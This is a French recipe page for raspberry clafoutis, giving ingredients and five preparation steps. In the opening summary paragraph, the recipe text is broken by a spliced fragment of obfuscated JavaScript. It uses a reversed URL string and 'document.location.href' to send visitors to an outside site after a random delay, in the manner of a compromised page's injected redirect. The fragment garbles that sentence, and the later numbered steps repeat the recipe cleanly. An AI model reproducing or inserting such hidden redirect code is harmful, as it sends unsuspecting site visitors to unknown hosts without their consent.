Clafoutis aux framboises
2016-12-19- Cuisine : Clafoutis
Répartissez les framboises dans un moule à manqué beurré. Mélangez la farine avec le sucre en poudre, le sachet de sucre vanillé, tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tout en mélangeant incorporez les jaunes d’œufs, et les œufs entiers.
Ingrédients
- Pour 6 personnes
- 400 g de framboises
- 120 g de sucre en poudre
- 60 g de farine de blé
- 1 sachet de sucre vanillé
- 2 jaunes d'œufs
- 2 œufs entiers
- 10 cl de lait
- 20 cl de crème fleurette
Préparation de la recette
Etape 1
Répartissez les framboises dans un moule à manqué beurré.
Etape 2
Mélangez la farine avec le sucre en poudre, le sachet de sucre vanillé, tout en mélangeant incorporez les jaunes d'œufs, et les œufs entiers.
Etape 3
Versez par petites quantités le lait et la crème fleurette, de façon à obtenir une pâte fluide. Versez sur les framboises
Etape 4
Répartissez quelques noisettes de beurre dessus. Préchauffez le four à 180° C thermostat 6. Enfournez et faites cuire pendant 30 minutes.
Etape 5
Vérifiez la cuisson. Sortez le clafoutis du four. Laissez le refroidir et dégustez.
Note des membres
(0 / 5)
0 personne(s) ont noté cette recette